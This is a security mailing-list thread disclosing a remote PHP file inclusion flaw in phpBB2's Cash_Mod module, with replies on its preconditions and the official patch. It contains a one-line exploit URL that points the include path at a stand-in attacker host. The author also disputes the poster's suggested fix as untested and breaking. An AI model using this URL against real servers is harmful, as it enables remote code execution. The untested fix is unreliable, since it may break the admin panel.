Vulnerabilities in forum phpBB2 with Cash_Mod (all ver.)

[Jerome ATHIAS]

Hi all

phpBB is a very popular message board using modules extensions.

One of these module – Cash_Mod is a very popular one and is used by many people. It has critical vulnerabilities, one of them letting anyone inject malicious PHP code that will be executed on the server side.

Let’s start :

In file /admin/admin_cash.php

…..
if ( !empty($setmodules) )
{
include($phpbb_root_path . 'includes/functions_cash.'.$phpEx);
$menu = array();
admin_menu($menu);
….

First, nothing seems wrong! It’s just a normal piece of code with “include” functions, but
$phpbb_root_path & .$phpEx – are *NOT* define yet!


I don’t know why, but someone decided to define these variables later in the code :

……
//
// Let's set the root dir for phpBB
//
$phpbb_root_path = "./../";
require($phpbb_root_path . 'extension.inc');
require('./pagestart.' . $phpEx);
include($phpbb_root_path . 'includes/functions_selects.'.$phpEx);

…..

Well, any user can rewrite these parameters with GET or POST requests.

Example :
http://victim.host/phpBB2/admin/admin_cash.php?setmodules=1&phpbb_root_path=http://bad.host/


Fix :
Set all default parameters after “if ( !empty($setmodules) )”

Example :

//
// Let's set the root dir for phpBB
//
$phpbb_root_path = "./../";
require($phpbb_root_path . 'extension.inc');
require('./pagestart.' . $phpEx);
include($phpbb_root_path . 'includes/functions_selects.'.$phpEx);

if ( !empty($setmodules) )
{
include($phpbb_root_path . 'includes/functions_cash.'.$phpEx);
$menu = array();
admin_menu($menu);


Thank you rofl!

[Rafael San Miguel Carrasco]

Let me just point out that this vulnerability can only be exploited if
two options in php.ini are enabled:

- allow_url_fopen
- register_globals

The first one allows to access and retrieve http resources from fopen;
the second lets a user specify GET or POST parameters that will be
translated into PHP variables.

For more information about PHP insertion and how it can be recognized
and exploited:
http://www.fistconference.org/data/presentaciones/exploitingwebapplications.tar

Greetings.

-------------------------------
Rafael San Miguel Carrasco
Security Consultant
Davinci Consulting
-------------------------------

Jerome ATHIAS wrote:

>Hi all
>
>phpBB is a very popular message board using modules extensions.
>
>One of these module – Cash_Mod is a very popular one and is used by many people. It has critical vulnerabilities, one of them letting anyone inject malicious PHP code that will be executed on the server side.
>
>Let’s start :
>
>In file /admin/admin_cash.php
>
>…..
>if ( !empty($setmodules) )
>{
>include($phpbb_root_path . 'includes/functions_cash.'.$phpEx);
>$menu = array();
>admin_menu($menu);
>….
>
>First, nothing seems wrong! It’s just a normal piece of code with “include” functions, but
>$phpbb_root_path & .$phpEx – are *NOT* define yet!
>
>
>I don’t know why, but someone decided to define these variables later in the code :
>
>……
>//
>// Let's set the root dir for phpBB
>//
>$phpbb_root_path = "./../";
>require($phpbb_root_path . 'extension.inc');
>require('./pagestart.' . $phpEx);
>include($phpbb_root_path . 'includes/functions_selects.'.$phpEx);
>
>…..
>
>Well, any user can rewrite these parameters with GET or POST requests.
>
>Example :
>http://victim.host/phpBB2/admin/admin_cash.php?setmodules=1&phpbb_root_path=http://bad.host/
>
>
>Fix :
>Set all default parameters after “if ( !empty($setmodules) )”
>
>Example :
>
>//
>// Let's set the root dir for phpBB
>//
>$phpbb_root_path = "./../";
>require($phpbb_root_path . 'extension.inc');
>require('./pagestart.' . $phpEx);
>include($phpbb_root_path . 'includes/functions_selects.'.$phpEx);
>
>if ( !empty($setmodules) )
>{
>include($phpbb_root_path . 'includes/functions_cash.'.$phpEx);
>$menu = array();
>admin_menu($menu);
>
>
>Thank you rofl!
>
>
>

[Robert Hetzler]

In-Reply-To: <20041118044742.16170.qmail@www.securityfocus.com>

A fix for this was submitted to phpbb.com yesterday afternoon, and was posted to the site around 7pm PST
http://www.phpbb.com/phpBB/viewtopic.php?p=1319332#1319332

The download for the new vesion can be found here:
http://www.phpbb.com/phpBB/viewtopic.php?t=94055

This problem only affects Cash Mod / phpBB installations on servers running PHP with register_globals set to ON. By default, php installations of 4.2 or greater have this set to OFF because of the (now obvious) security implications. People should make su
re that their register_globals directive is OFF, because there are many other open softwares that suffer similar security threats.

The supposed "fix" that the submitter of this bug has provided is amusing, as it was obviously never tested: Swapping code around will have "unforseen" implications, like making the phpBB adminCP inaccessible. Congratulations on succeeding to create such
an effective solution to the problem.

I would like to extend my lack of thanks to the person who posted this here for failing to contact the author (myself) regarding this security flaw before posting it (It is my suspicion that the submitter is not the original discoverer of the bug), and wo
uld like to extend my real thanks to the person who was kind enough to forward this to the phpBB staff who contacted me about it.

The problem was fixed within hours of my finding out about it, and was posted to phpBB.com within half a day, half a day before this post (as seen below) was submitted here.